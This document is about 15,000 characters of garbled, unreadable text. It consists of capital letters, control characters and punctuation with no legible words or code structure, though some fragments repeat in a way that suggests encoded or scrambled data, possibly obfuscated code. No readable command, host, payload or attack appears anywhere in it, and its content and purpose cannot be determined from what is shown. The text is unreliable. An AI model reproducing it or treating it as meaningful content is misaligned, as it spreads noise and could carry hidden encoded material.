GGGGZGGGOWW RUOUV_TNOC	NGYGGWNGGGGGXGE;	EGGGG]GGGEE\mGGGGGGGGC	S^QRWV^GGGGGZGC	
S
GGGIGGCGGGGGGIGGGC_RS_8GGIGGGE;	EGGIGGGGGCSWRQW^GGGGGGIGGGE;	EGGIGGGGC U_WR
UGGIGGGE;	E\mGGOFUQUP8T^OCPT	WKGC	NNGmWS	V VQPO8Q TOUV_WNKGGGWW RUOUVRPNN\mGG		\mGGGmmmmGGOFSS8^

TVOCPT	WKGGGGGC	GIGGGC	S^QRWV^NNGGGGGG		\mGG	GGG\mGGGGGG	GGmGOC 8_R 8QGGFZZGGNGGmGGGO	QU 
OUV_VNOWW RUOUV_UNNNG'OC 8_R 8QKGG+($,82)N\mGGG'OC 8_R 8QN\mmmmHHG'J	G	mmG	GGG\mGGGGGGO3GGGGGGC  PNGGmGWS	V VQPO	QU 
OUV^_NKGGC  PN\mmmm	GGGGG\mGGGGGGGO"	GGGGGC  PNGmGG	G\mGmGGGGGGmG		GRVP
QVW		ONmmGGGGGGGGmGGGGOF	O8Q TOUVPWNNNGGGGG	\mGGGGGGO8
 _R_^O^RRONNNGG	\mC	
QRVGZGGGG
U	TWQQON\mGC
^Q
GGZGG^U  

VRO&%47&3/GGGIG^8UVUVOVTSRNKGGOSLSNNGIG8Q TOVTSQN\mmmGGGGGCWU W
GZG	QU 
OUVPQNO^RRONKGGGGG^8UVUVOUVSWNN\mGGCPR
GGZGGGG	W
_RUTTON\mGOFCPR
GG^8UVUVOUV^^NOCPR
NGGGG[GGGORVPJVPNNGGGGmWS	V VQPO	QU 
OVRURNKG^8UVUVOUUWWNN\mmGGG	\mmGGGOF8Q TOUUWVNO^8UVUVOUUWUNNNGGGG	\mGGCQ GGZGOmC	
QRVGGGGGIGGG@H@GGGIGC
^Q
KmGGGGGC	
QRVGIGG8Q TOUUWTNGIGG8Q TOUUWSNO8Q TOUUWRNNGGGGGIGGC
^Q
KmN\mGGGGCQ^^GGGGZGGGO	O8Q TOUVR^NNGGXGGG078$()3")38#.5GG]GGGGGG&%47&3/GGIGGGGG	QU 
O_STNNGGIGG	QU 
OVUR_N\mGGGGO'WW RUOVT^VNOCQ^^NNGGmmmGC
_VSGZGGGGGVSOCQ^^N\mGGGGGGO^8UVUVOUVTUNOC
_VSNNGGmGGGOC
_VSGGGGC  PNGmGC
TPSP	QGGZGGCQ^^GGIG@H@GGIGGGGGGC  P\mGGGGO'WW RUOVT^VNOC
TPSP	QNGGGAAGGG'WW RUOUV_RNOC
TPSP	QNNGGGGGmGGGGGCQ <:GGZGGC
TPSP	QGGGIGG@H@GGGGGGIGGC
^Q
\C	QZ7/78*&-(581"54.()\CQ  _TZC	QMS\mG\mmGmmGGmGmGGGOCQ GGGGGGC	^S 8TNGGGmGGO'8Q TOVRVVNOC	^S 8TNGGAAGGG'	QU 
OUWW_NOC	^S 8TNGYGGGGGOWUTLWV^NNGGmGGGGGGCW8R^_GGGGGGZGG8Q TOUUWQN\mGGGO^8UVUVOUUWVNOCW8R^_NNGGmGGGCS
SW
GGZG	GGCW8R^_ON\mGGGGGGO'CS
SW
JY	OC	^S 8TNGZZZGGGGGNGmGGGGCS
SW
JYON\mG		\mmmGGGmGmmGC
Q^	R8S	GGZGGGGGG8Q TOUWWSNOC	^S 8TN\mmmmGGGGOF'WW RUOVT^VNOC
Q^	R8S	NNGGGGPTV8
OC
Q^	R8S	KGGGO^QVJSQ_NKGN\C8URQR
_ZUS^S\C	8URZC8URQR
_BVW\mGGGGGGGGCW8R^_GGGGZG^8UVUVOUUWPN\mGGCQ	U	GZGGVTWRV
ROC
Q^	R8S	KGG^8UVUVO_T_NN\mGGGGGOCQ	U	GGZZZGNG		\mmmCSU	S
GGGGGZGGG	GGGCW8R^_ON\mGGGGGGGGGGGO'CSU	S
JY	OCQ	U	KGGGCW8R^_]]$5"&3"GGGGCW8R^_]](1"505.3"NGZZZGGNGmCSU	S
JY!
4	 OCWU W
GGGGGIGGG@H@GGGIGCWU W
GGGGIG^8UVUVOUVSWNKGGCPR
N\mmmGCSU	S
JYON\mGGGGGCVW	GGGZGGG	GCW8R^_ON\mGGGGO'CVW	JY	OCQ	U	NGGZZZGGNGmGGGGCVW	JYON\mGGO	
R
 S	VTOCQ	U	KGC	^S 8TNGGGGGGGGOW	
VRP^OCQ	U	KGGGGGC	^S 8TNGGGGGGAAGGGU	U8OCQ	U	NNNGmGGQ	WTT UOC	^S 8TKGGGG	T	ONN\mGG



T_WOC	^S 8TKGOSTPJVPNN\mGGGGGGGGGGmmmmU	U8OCQ	U	N\mmmmGGGGGGGmGGGGGGGGGGmGGGGU	U8OCQ	U	N\mGGGmGGGGGGGGmmGGGGU	U8OCQ	U	N\mGGGGmGGmmmmGGGGGGGGGGGGGO3GC  PNGGmGGGGGWS	V VQPOWW RUOVTSRNKGC  PN\C			S Z7/78.)38*&?H7/78.)38*&?\C
	TT ZC			S LUP\mGGGGGGGGGO"	GC  PNGGmmGGGGGGmm		GGR8PPTONmGGmGGGGmGGGGOF	QU 
OUUW_NO8Q TOUUW^NNGGGGGGGF	QU 
OUUVWNO	QU 
OUUVVNNNGG	\mmmmGGGGGGGGOF	O^8UVUVOUVPWNNNGG	\mGGGGGC8T_SQUGGGZGGGGWW RUOUVTPN\mGGOF8	8OC8T_SQUNNGGmmmG88	O8Q TOUWQSNONGGGLGGOWVWLWVNKGGWW RUOUUVUNKGGGGC8T_SQUN\mGGmGGGGGGGOF8	8OWW RUOUVT_NNNGGmGGGG88	O8Q TOUWQSNONGGLGOPURJVURNKGGGWW RUOSV_NKGGGGWW RUOUVT_NN\mGGGmGGGGGGO3GGC  PNGGGGmGGWS	V VQPO^8UVUVOUUVTNKGGGC  PN\mGGGGGGO"	GGC  PNGGGGmGGGGGmGGmGGG		GGWW^S 
ONmGGGGGmGGGGGmGGGGOF	OWW RUOUVPWNNNGG	\mGCRVQ 	GGZGGG^U  

VRO&%47&3/GGGGGGIGGG@ @KGGGGOVSS9VRUNN\mC^S
	8RQSGGGGZGGON\mGGGGGGO^8UVUVOUUVWNOWW RUOUUVSNNNGGGGC^S
	8RQS<:GZGGRU^W
 ON\mGC^S
	8RQS<:GGZGGG&%47&3/GGGIGGGGG^8UVUVOVQRRN\mGGGGGOWW RUOUUVWNO8Q TOR^NNNGGGGGGC^S
	8RQS<:GGZGGGG
U	TWQQON\mGGGGGGGOC^S
	8RQSGGGGGGC	TQ8	
8SNGGGmmmmGGCT SGGZGGGC	TQ8	
8SGGIG	QU 
OVQRWNGGGIGCRVQ 	\mGGGO'	QU 
OUVQQNOCT SNGAAGGGO	NGGG'^8UVUVOVQR_NOCT SNGGYGG	QU 
OUUVRNONGGGJGGGOUVQLUSNNG	\mGGGGmGGGGGGGOC^S
	8RQSGGC	TQ8	
8SNGGCTVRR8ZJUP^\C_^ZOCTVRR8YWNXCTVRR8]JCTVRR8\mGGGGGGCRPTP GGZGGC	TQ8	
8SGGIGGGWW RUOUUVQNGGGIGGCRVQ 	\mGGGGGO'^8UVUVOUVQQNOCRPTP NNGGmC
^QS8UPGGZGGO	NGG'	QU 
OUUVPNOCRPTP N\C	 _ZSVW\C8PSZOC	 _YWNXC	 _]JC	 _\mGGGGGOC
^QS8UPGGYGWW RUOUUVRNONGGJGGOUWVUWLQQU_WNGAAGGGC
^QS8UPGG[ZGGGGWW RUOUUV_NONGLGOUU^LPVNNGGGG		\mmGGGGGU	U8OCRPTP N\mmmGGGGmGGGGC	
S	8	GGZGGGGC	TQ8	
8SGIG8Q TOVQRTNGGGIGCRVQ 	GGIGG8Q TOUVSWN\mGGGGGO'	QU 
OUUV^NOC	
S	8	NGGGGGAAGGO	NGG'8Q TOUUUWNOC	
S	8	NGGGGYGGOWQLWV_RNNGGmGC88 
Q8
RQGGGGZGC	TQ8	
8SGGGIG^8UVUVOUUUVNGGIGGGGGGCRVQ 	\mGGGGGGGGC_TGZGGG'	QU 
OUUV^NOC88 
Q8
RQNGGGXG	QU 
OVPQTNOO	 NGGGG'8Q TOUV^SNOC88 
Q8
RQNNG]GGEE\mmmGOC_TGFZZGEEGAAGGG8Q TOUUVWNO	QU 
OUUUUNNGGGGAAGGGG'
R8OC	
S	8	NGZZZGGGC_TNGm'	GC	
S	8	\mG	\mGGmGGGGOC_TGFZZGEENGGGGGGmGU	U8OC	
S	8	N\mGm	OC88 
Q8
RQKGGGGGC_TN\mGGGmGmGG	OCRPTP KGGGC
^QS8UPN\mGGGGGGGGGO8Q TOUUVWNO^8UVUVOUVTRNNNG'8		O^8UVUVOVQ_TNN\m
8PQW8 ON\mGGGGGGGGO3GGGC  PNGGmGGGGWS	V VQPO	QU 
OUUUTNKGC  PN\mGGGGGGO"	GGC  PNGGmmGGGGGmGG		GGGGG^ST
8URTONmGmGGGGGGGGGmGGGGOF	OWW RUOUVPWNNNGGGGGG	\mGP SQO	N\mmGGGCWU W
GGGZGGGGG^8UVUVOUUUSNO^RRONKGG8Q TOUVSWNN\mCQ^GGGGZGG^RRON\mGmmGGGGCPR
GGGGZGGEE\mGGO'8Q TOUUV^NOCQ^NGGAAG'WW RUOUUUWNOCQ^NGGGGYGOS^PULU_NNGmGGGGCT^
	RGGGGGGZGGO	 NG'^8UVUVOUUURNOCQ^N\mGCW	 GGGZGG8Q TOUUVWNOWW RUOUUUQNNGGXG8 	  OCT^
	RNG]GGGCT^
	R\mGGGGGGGO^8UVUVOUV^TNOCW	 NGGGGAAGG^8UVUVOUV^^NOCW	 NGGYGGGGORS_JS_NGGGAAGGW^RTOCW	 NNGCPR
GGGZGCW	 \mGGGGG	OCT^
	RKGGGGGCW	 N\mmGGGGGGOCPR
GGGZZZGEENGGGC
TRQR	Z7/78*&-(581"54.()\C VSZC
TRQR	MP\mGGGCQUP GGGZG^U  

VRO&%47&3/GIGGGWW RUOVRTPNKGOSLQNN\mC8VPW_
GZGWW RUOUUUPNO8Q TOUVQTNNGGGXG' 8	OCQUP KGEENGG]GGGGEE\mGGGGOFC8VPW_
GGGGGGWW RUOUV^^NOC8VPW_
NGGGG[GGGOWVULW_NNG	\mCPR
GZGGGG8WP8_O	QU 
OVRSSNOC8VPW_
NN\mGGOFCPR
GGGGGG^8UVUVOUV^^NOCPR
NG[GGOSQRLTRNNG	\mGGGGGOFW^RTOCPR
NNGGmGWS	V VQPOWW RUOVU^SNKGG	QU 
OVU^PNN\m	\mGGGGGGmmmGC	
QRVGGGGZG
U	TWQQON\mmmC^8PQTGGGGZGGC	
QRVGGIGG^8UVUVOVQPUNGGGIGCWU W
\mmGGC8	_STGZGGC^8PQTGGGGIGGGGGG@H@GIGGCWU W
GGIG	QU 
OUVSWN\mmGGOF'^8UVUVOVT^VNOC^8PQTNNGGPTV8
OC^8PQTKGORPLSTQNKGN\mGGC^ ^8_GGZG'8Q TOUUU_NOC8	_STNGXGGO	 NGGG'8Q TOUUURNOC8	_STNGGGGG]GEE\mGCT VGGZGG\mGGGGOC^ ^8_GFZZGEEGAAGG	QU 
OUUU^NO	QU 
OV_WRNKG8Q TOUVPSNOC^ ^8_KGGGWKGGOSWPQLUWNNKGC
^	RSVNGAAG	8
OC
^	RSV<V:KGGGG^8
U_U
ONKGG@Y@NNGGCT VGGGGZGGGGGG\m	OC
^	RSVN\mmmmGGGGGGGOFCT VGGGGGGAAGGGGGGOC^ ^8_GZZZGGEEGGGGGG	QU 
OUVPRNO8 	  OC^ ^8_NNGFZZGG8Q TOUVPRNOCPR
NNNGGGGmGGGOSS8^

TVOC8	_STKGG_^UQUSOCPR
NNNGGGGmGG



T_WOC8	_STKGOTSWL_WNN\mGGVVU
OC8	_STN\mGGGGS_R^W8OC8	_STN\mGGmGmGG	OC^ ^8_KGCT VN\mGGGGGGOWW RUOUUUPNO8Q TOUUTWNNGGGAAGGGG^8UVUVOUUTVNO^8UVUVOVPQ_NNNGGmGGGC8RRQQ^
	PGGGZGCWU W
GGGGGIG@H@GIGCWU W
GGGIGWW RUOUVSWN\mmmmC	TPVGGGZGGGG 8	OWW RUOUUTUNKGONN\mmGGGGGOF^8UVUVOUVTUNOC	TPVNNGGGC	TPVGGGZGGGGON\mHMGG	
J
GMHmmGGGGGGGGOF^8UVUVOVUSPNOC8RRQQ^
	PKGGGGGC	TPVKGGNNGGmmmmGC	TPV<:GGGGZGC8RRQQ^
	P\mmmmGGGGGGGG8	O8Q TOUUTUNKGG8Q TOVTTUNOC	TPVNN\mGGGmmGGGGGGmGC	PTW
QGZGGGGGG8^SU ^ON\mGGGO'WW RUOVT^VNOC	PTW
QNGGGGGGGPTV8
OC	PTW
QKGGOS_TLVWNKGGNNGGmGGGC^TGZGGGC	PTW
QGGGGIGG@H@GGGGGIGGCWU W
GGIG^8UVUVOUVSWN\mGGC8T
 8GGGZGGGGG'	QU 
OUUU_NOC^TNGGXGGGGGGO	 NGG'WW RUOUUURNOC^TNG]GGGGEE\mGCW	
PPGZG\mGGGGGGGGOC8T
 8GGFZZGGGGGEEGGAAGGGG^8UVUVOUUU^NO^8UVUVOV_WRNKGWW RUOUVPSNOC8T
 8KGWKGGGGGOSWSTLRTNNKGCUQ_
PWNGGAAGGG	8
OCUQ_
PW<V:KGGG^8
U_U
ONKGGGGGG@Y@NNGGGGGCW	
PPGZGG\mGGGGG	OCUQ_
PWN\mGGOFCW	
PPGGGGAAGOC8T
 8GGZZZGEEGGGGGGGG	QU 
OUUTTNO8 	  OC8T
 8NNGGGGGGFZZGG8Q TOUUTTNOCPR
NNNGGmmGGGGOSS8^

TVOC^TKGGG_^UQUSOCPR
NNNGGGGmGGGGG



T_WOC^TKGGOTRPLQTNN\mGGGVVU
OC^TN\mmGGS_R^W8OC^TN\mmGGGGOFCW	
PPNGGCW	8	WVZ7/78.)38*&?H7/78.)38*&?\CTUZCW	8	WVLT\mGGGGGCSV	RQ
VGGGZGGG'WW RUOUUVPNOC^TN\mmmGGGGOFCSV	RQ
VGGGGGGOCSV	RQ
VGGGBGGGGOVP^QTUJP^QTUNNGFZZGGVS^SONNGVVU
OC^TN\mGGmmGGGG	OCSV	RQ
VN\C	
Z7/78.)38*&?H7/78.)38*&?\CWZC	
L_W\mGmGGGG	OC8T
 8KGGCW	
PPN\mmmGGmmGGW TRR_QSOCPR
N\mGGGO3GC  PNGGGGmWS	V VQPO	QU 
OUUTSNKGGGC  PN\mGGGGGGGGGGGGGO"	GGC  PNGGmGGGmGGGm		GGGGT
Q_V
VUONmGGmGGOFOC8 "3<@@:NGGGGFWW RUOUV^TNOC8 "3<@@:NNGG	\mmGGGGGGC
WSQGZGGGGGC8 "3<@@:\mmmmGGGGGGGOC
WSQGGGZZZGGS^8SO	QU 
OVSVQNNNGGmGGmmmGC	^W PR GZGGGRU^W
 ONGIGG@H@GGIGGG^U  

VRO&%47&3/GIG^8UVUVOVSVQNKGGOVPV9VQTNNGGGGGGIG	QU 
OUVSWN\mmGGGCUQQ GGGZGGG'WW RUOUUTRNOC	^W PR NGGGGXGO	NGGGGG'8Q TOUUTQNOC	^W PR NG]GW\mGGOCUQQ GGGGYGGGGGOSWSL^QNGGAAGGCUQQ G[ZGGGGGGORUSU_WSLPQNNGGGmGG	GGC	^W PR \mGmGGGGGGGGGGGGGO3GGC  PNGGGmHHG7/7G_IVG		GG		mmGGGGGGGO"	GGC  PNGmmGGGGGGGOWW RUOSTPNONGGGYGGWGGAAGGGGG'8	8	ONNGGmmGO	QU 
OUUTPNN\m\mGmmmGGGGOC
WSQGGGFZZGGGGS^8SOWW RUOUUT_NNNG	\mmmGGGGGGGmGGGGGGGO	QU 
OUUT^NO^8UVUVOUUTWNNGGGAAGGG	QU 
OUUT^NO^8UVUVOVPQ_NNNGm'8	O^8UVUVOUUSWNKGGGGO	NG' 8	OWW RUOUUSVNKGGGWNGLGVKG8Q TOUVQ^NN\mGGGG'8	OWW RUOUUSUNKGG^8UVUVOUUSTNONKGWW RUOUVQ^NN\mmmGGGCS	GGGZG_	8VUST
UOWW RUOT^^NKGGGEEN\mmmGGGGOWW RUOUV^^NOCS	NGYGGOWV^LWSNGAAGF	QU 
OUUU^NOWW RUOUUSSNKGCS	NGAAGGWW RUOUUU^NO8Q TOUUSRNKGCS	NNGGGmGCVWS^GGGGZG'WW RUOUUSQNOCS	KGGGN\mGGGOCVWS^GGGGFZZGGGGAAG	QU 
OUV^^NOCVWS^NGYGOUWW9VPUNNGCS	GGGGGZGGGGCVWS^\mmGGGGGGGGGGO8Q TOUV^^NOCS	NGG[GGOWRLWRNNGCS	GGGZGGGT_P8QSP^ON\mGGGGGGGGGGO8Q TOUV^^NOCS	NGG[GGGGGOWSRLWVNNGGGGmmGGGGGGGGGO	QU 
OUUSPNONGGGGGYGWGGAAGGGGG'8	8	ONNGGmmmGmmmOWW RUOUUS_NN\mmGGGGGGO8Q TOUUS^NN\mGGGOWW RUOUURWNN\mGGGGGGGG\mGGGGGGmHHG'	G	JmmC	GGGGGZG_	8VUST
UO^8UVUVOVT_WNKGGGEEN\mGC	W_WQRGGGZG@E@GIGG	QU 
OUUTTNOC	GIGGGGCS	NGGGGGIGGG@E@\mmGGGGOOC84"51"5<	QU 
OUURVN:NGGGAAGGWW RUOUURUNOC84"51"5<	QU 
OUURTN:NGGZZZGGC	W_WQRNGGGGGmGGGO	QU 
OUUSPNONGYGGGGWGGGGGGAAGGGGGG'8	8	ONNGGmmmGGmGGGGGGGOWW RUOUURSNN\mGGO^8UVUVOUURRNGGIGC	W_WQRN\mG\mmGGmGO	QU 
OUUSPNONGYGGWGGAAGG'8	8	ONNGGGmHHGGmmGmGOWW RUOUUS_NN\mmGO8Q TOUUS^NN\mGGGGO^8UVUVOUURQNN\mGGGO8Q TOUURRNGGIGC	W_WQRN\mGGGGC	GGGGGIGGGGCS	\mmmmGGG\mmmGGGGGGGGGGGO3GC  PNGmmGGWS	V VQPO^8UVUVOUURPNKGGGC  PN\mGGGGGGGGO"	GGGGC  PNGGmGWS	V VQPO^8UVUVOUURPNKGC  PN\mGGGGGGmGmmmT
Q_V
VUON\mGGGGGG		GGGGGUT

VRONmGmGGGGGGGOFOC8 "3<^8UVUVOUUR_N:NNGG	\mmmmGGGmGCS
PGGZGC8 "3<8Q TOUUR_N:\mGGOF	QU 
OUV^TNOCS
PNGGGGGGGCS
PGGZZZGGGGEENGG	\mmmGGCS
PGGGGZGGGG	QU 
OUUR^NOCS
PN\mCTWGZGGGON\mGGGGGGGGGGO	QU 
OUUQWNOWW RUOUUQVNNNGGGCTW<:GGGGZGGO	 NGGWW RUOUUQUNO
8ONKGGGG7/7825+8/(43N\mmmmGGGGGGO	QU 
OUUQTNOWW RUOUUQSNNNGmGGGGC
^WWGGGGGGZGGGGGO	 NGG' 8	O^8UVUVOQV^NKGGGEEN\mGGGGOC
^WWGGFZZGEENGGGCTW<:GGZGO	 NG	QU 
OUUQUNOC
^WWKGGGGGG7/7825+8/(43N\mGmHHGJ
	G	GG7/72	GVWmmGGGGGGGGGGGGOOC84"51"5<8Q TOVQPRN:NNGGGCTW<:GZGO	 NGGC84"51"5<WW RUOVQPRN:\mGGGGCTW<:GZGGGGPQ
P
WS	U^OEEN\mGGGGC_VPGZGG\mmmGGGGGGGGGO	QU 
OVU_QNOCTWNGGGGC QWNGGGmGOF	QU 
OUUQRNOC QWNGGGGGC QWGGGGZZZGGEENGGGGGG		\CPTR_Z7/78.)38*&?H7/78.)38*&?\C  QZCPTR_LT_\mGGO	QU 
OUV^VNOC QWKGG@]@NGGFZZGGNGGGC QWGZGG^8UVUVOUVP_NO8Q TOUUQQNKGGGGEEKGGGGGC QWN\mGGGGGGGGGO^U  

VRO8Q TOUUR^NOC QWNGIGGGG8Q TOUUQPNKGGGGGGOV_JQNNGGGGGGZZZGCS
PNGGGGGGmGGGC_VPGGZG\mmmmGGG\mmmGGGmGGGGmGGOFC_VPNG	\mC
W88VR^8
GGGZG	QU 
OVSW^NO8Q TOUUQ_NKGGGO^LUVNN\mGCRWVW^VQGGZGG8WP8_O^Q _OC
W88VR^8
NN\mmmmGO8Q TOUUSPNONGYGWGGAAGG'8	8	ONNGGGmGGGGGGGmGGGO8Q TOUUQ^NN\mGGGO	QU 
OUUPWNN\mGGGGGGGGGOCRWVW^VQGGZZZGGGC
W88VR^8
NGXG	QU 
OUUPVNGGIG8Q TOUUTTNOC
W88VR^8
NG]GGG8Q TOUUPUN\mmG\mGGGGO3GGC  PNGGmmmmWS	V VQPO^8UVUVOUUPTNKGC  PN\mGGGGGGGGGGGO"	GC  PNGGGmGGGGGGWS	V VQPO8Q TOUUPSNKGGC  PN\CPS
	PW_QZQVLTV\C 8 8S RZCPS
	PW_QJSV\mGmHHGJ
	G GG07GQIPG	mmGGGGmGGGGGGUT

VRON\mGG		GQ _8WONmGmGGGmGGGGO^8UVUVOUUQTNOWW RUOUUPRNNNGGG8	8
	ON\mGGGGGGGGGGGO8Q TOUUPQNO^8UVUVOUUPPNNNGGT88ON\mmGGGGO8Q TOUUP_NO8Q TOUUP^NNNG 88 8ON\mGGGOWW RUOUUP_NOWW RUOUU_WNNNGGGG8 8ON\mmmmGGGGGO^8UVUVOUUWVNOWW RUOUU_VNNGAAG	QU 
OVTV^NOWW RUOUU_VNKGGGGG	QU 
OUU_UNNNG+48$8&7.]] 8ON\mGGGGGGGGGO^8UVUVOUUWVNO	QU 
OUU_TNNGAAGGG^8UVUVOUU_SNOWW RUOUU_TNKGGWW RUOUU_RNNNG%87 $]]88ON\mmGOWW RUOUUWVNO^8UVUVORP^NNGGGGGAAG^8UVUVOUU_SNO8Q TOUU_QNKGGGGG^8UVUVOUU_PNNNGGG$8"	]]88ON\mGO	QU 
OUUP_NO8Q TOUU__NNNG888ON\mmmGGGGGGOOC +(%&+4<8Q TOUU_^N:NGAAGGWW RUOUU^WNOC +(%&+4<^8UVUVOUU^VN:NGGGGAAGG^8UVUVOUU^UNOC +(%&+4<^8UVUVOUU^TN:KGWW RUOUU^SNNNGC +(%&+4<8Q TOUU^TN:JY$ON\mGGGGGO8Q TOUUP_NO8Q TOUU^RNNNGG888ON\mGGO^8UVUVOUUWVNO^8UVUVOUU^QNNGGAAGGGGGWW RUOUU^UNO	QU 
OUU^QNKGGWW RUOUU^PNNNGGGG
$]]ON\mGGWS	V VQPO8Q TOSPRNKGG	QU 
OUU^_NN\mGGGGGGGGGO3GGC  PNGGGmGWS	V VQPO^8UVUVOSPRNKGC  PN\mGGGGGGGGGGO"	GGGC  PNGmGmmGGm		GG^UP^PONmGGGmGGGGGO8Q TOUU^^NO	QU 
OUTWWNNGAAGG8
	ONNGG	GGG\mGGGGGGGGGGGGO^8UVUVOUU^^NO	QU 
OUTWVNNGGAAGGGGG8	 8ONNGG	G\mGGGO	O	QU 
OUTWUNNGGGGGGAAGG5"4385"62"43NGGGG	GG\mGGGGGGO	O8Q TOUTWTNNGGAAG?*+57$85"62"43NGGG	GGGGG\mmGGO8Q TOUTWSNOWW RUOUTWRNNGGGAAGGG8ONNGGG	GGG\mGGGGOWW RUOUTWSNO8Q TOUTWQNNGGAAG8ONNGG	GGGG\C  VT
	ZSRQ\CV  PZOC  VT
	YWNXC  VT
	]JC  VT
	\mGmmGGGGO^8UVUVOUTWSNO8Q TOUTWPNNGGAAGG8
ONNGGGGGG	G\mGGGGGO^8UVUVOUTW_NO8Q TOUTW^NNGGAAGG8
8ONNGGGGG	G\CT  8ZPTV^S\C_PQ	ZCT  89USS\mGGGGGGOOC8 "3<8Q TOUTVWN:NGGOC8 "3<WW RUOUTVVN:NGGGGGGOC8 "3<	QU 
OUTVUN:NNGG	G\mGG	GG\mmGG		GGG	8RP QR__
ONmGGGGmGCS	WTV8RGGZGGGGGOOC +(%&+4<	QU 
OQ^PN:NGGGAAGG	QU 
OUTVTNOC +(%&+4<WW RUOQ^PN:NNGGGGGXGGGG	QU 
OUURUNOC +(%&+4<^8UVUVOQ^PN:NGGG]GGGEE\mGGGGOCS	WTV8RGGZZZGGEENGG	GGGGEE\mmGGGGGGCS	WTV8RGGGGZG^8UVUVOV^UQNO^8UVUVOUTVSNKG	QU 
OUTVRNKGGGGCS	WTV8RN\mGGGGC	VQWQU VQ SGZGGG8Q TOUTW_NO^8UVUVOUUQVNNGXGO	 NG^8UVUVOUUQUNO
8ONKGGGG7/7825+8/(43NG]GEE\mGGGGGC	V TGGZGGG^U  

VRO^8UVUVOUTVQNOC	VQWQU VQ SNKGGOVLRNN\mGC8 
QPTUGZGGGGWW RUOUTVPNO8Q TOUUTTNOCS	WTV8RNKGGWKGOWSLWUNN\mGGGGGG	GGGGGGE;	[GJZ;EEGGGGIGGGGGC	V TGGGIGGGGG@J@GIGC8 
QPTUGGGIGE;EY;	EGGGIGCS	WTV8RGGIGGGE;	[HY;	[FJJGEGGIGGGGC	V TGGIGGG@J@GIGC8 
QPTUGGGGGGIGGGEGJJY;	E\mGmG		G^

W_
T
ONmmGGGGGGmGGGmGGGGO^UP^PONNG	\mGGGGCSQ8WS_GZGGGG	8RP QR__
ON\mGGOCSQ8WS_GGGZZZGEENGGG	\mmmmGGGGGGGCSQ8WS_\mGGC +(%&+4<	QU 
ORURN:GZGG\mGGGGGO^8UVUVOUTV_NOWW RUOUUQSNNGAAGG	QU 
OUTV_NO8Q TOVPQ_NNGAAGGG
OC +(%&+4<8Q TOUTV^N:NNGGGGGmGGGC +(%&+4<WW RUOUTV^N:GZGGG\mGmmmGC R 
GGGGGGZGGO	NG' 8	O	QU 
OUTUWNKGWN\mmmGGGGOWW RUOUUSTNONGGJGGGC R 
GGGGYGGOPLU^TNNGG'8	O8Q TOUTUWNKGGGGWW RUOUTUVNONKGGG	QU 
OUVQ^NN\mG	OC R 
N\mGGGGGGGmGGGGGGO3GGGGGC  PNGmHMG
G	GMHmmGGGGGWS	V VQPO	QU 
OP^PNKGGGGGC  PN\mGGGGGO"	GGGGC  PNGGGmGGmGGGm		GP
__TVWUOC8	UVUNmGGGGmGGOF^8UVUVOUTUUNOC8	UVUNGGGGGGGGGGGGC8	UVUGZZZGGGEENGGGGGG	GGC8	UVU\mGOF
OC +(%&+4<^8UVUVOUTUTN:NNG	GGC8	UVU\mGGGGGGGCSQ8WS_GGZGGGG	8RP QR__
ON\mGGGGGGGOCSQ8WS_GZZZGGEENGGGGG	GC8	UVU\mGGGGOOC8	UVUKGGG8Q TOUTUSNNGGGGZZZGGGAAGGGOC8	UVUKGG8Q TOUTURNNGGZZZGGGGNGGGG	GGGC8	UVU\mmmmGGC +(%&+4<8Q TOUTUQN:GGGGZGG\mGGGGC +(%&+4<^8UVUVORUPN:GZG\mmmGGGCRVWGGGGZGOC8	UVUKGG^8UVUVOUTUPNN\mGGGOCRVWGFZZGNGGGGGGm	GGWW RUOUTVPNOC8	UVUKGGGGWKGGGCRVWNGGGGGGIGCSQ8WS_GGIGWW RUOUTU_NOC8	UVUKGGGGGGCRVWN\mmmGGGmGGGGGGG	GC8	UVUGIGGGCSQ8WS_\mGmG		GGGGGG^^PVQ URONmGGGmGmmmmGGGGGO^UP^PONNGG	\mGGOF
OC +(%&+4<	QU 
OUTU^N:NNGGG	\mGGGGGCS	WTV8RGZGGGGGOOC +(%&+4<8Q TOQ^PN:NGGGGGAAGGG^8UVUVOUTUUNOC +(%&+4<^8UVUVOQ^PN:NNGGGXG	QU 
OUURUNOC +(%&+4<^8UVUVOQ^PN:NG]GGEE\mGGGGGGGOCS	WTV8RGGGGZZZGEENGG	\mC +(%&+4<WW RUOUTTWN:GGGGZGGGG\mGGGGG'WW RUOUTTVNOWW RUOUTTUNN\mGGGGO3GGGGC  PNGGGmGWS	V VQPO8Q TOUTTTNKGGGGC  PN\mGGGGGGGGGGO"	GGGC  PNGmmGGGmGGGGG		GGGP SWVQS8	ONmGGGmGGGGGGGmHMGGJGMHmmmmmGGGGGGOF8
	ONGGGAAGOFOC +(%&+4<	QU 
OUTTSN:NGGGGGGGGC +(%&+4<	QU 
OUTTRN:GGFZZGGG	QU 
OQWPNNNG	\mGGGOWW RUOUTV_NO^8UVUVORVSNNGAAGGF8ONNG	\mGGCP8Q_
GGGZG_	8VUST
UO8Q TORTVNKGGEEN\mGGGC	V TGZGGG^U  

VRO&%47&3/GIGG	QU 
OUTTQNKGGOVUJQNN\mGGGC	V^GZGGGGGG	QU 
OVPWVN\mGGGGGGOCP8Q_
GGZZZGGGEENGGmGGGO^8UVUVOUTV_NO	QU 
OUUQSNNGGGGGAAGGGO	NG' 8	O^8UVUVORT_NKGWNNGGGm'8	O^8UVUVOUTTPNKGGGGWKGG	QU 
OUVQ^NN\mCQT
8SGGZGGO	 NGG' 8	O8Q TOUTT_NKGGEEN\mGGGGGE;	EGGIGGGG8Q TOUTT^NGGGIGC	V TGGIG@Y@mIGG	QU 
OUTSWNmGGIGWW RUOUTSVNGGIGGGGC	V^O^8UVUVOUTSUNNGGIG	QU 
OUTSTNmmmGIG^8UVUVOUTSSNGGIGGWW RUOQRTNOCQT
8SNGGGGIG@\@mGGGGIGG8Q TOUTSRNGGGIGGC	V^OWW RUOUTSQNNGGGIGG^8UVUVOUTSPNmGIG	QU 
OUTS_NGGIGC	V^OWW RUOUTS^NNGGIGGG8Q TOUTRWNGGGGIGC	V^OWW RUOUTRVNNGIGG8Q TOUTRUNGIGC	V^OWW RUOUTRTNNGIGGWW RUOUTRSNGGGIGGGC	V^O8Q TOUTRRNNGIGGGGWW RUOUTRQNmmIG8Q TOUTRPNGGGIGGGC	V^OWW RUOUTR_NNGGIGGWW RUOUTR^NGIGGC	V^OWW RUOUTQWNNGIGG^8UVUVOUTQVNmGIGG	QU 
OUTQUNGGGIGE;	E\mmmm	OCQT
8SN\mGGGGGmmGGGGGG	\mmmmmCP8Q_
GGGGZGG8Q TOV^UQNO	QU 
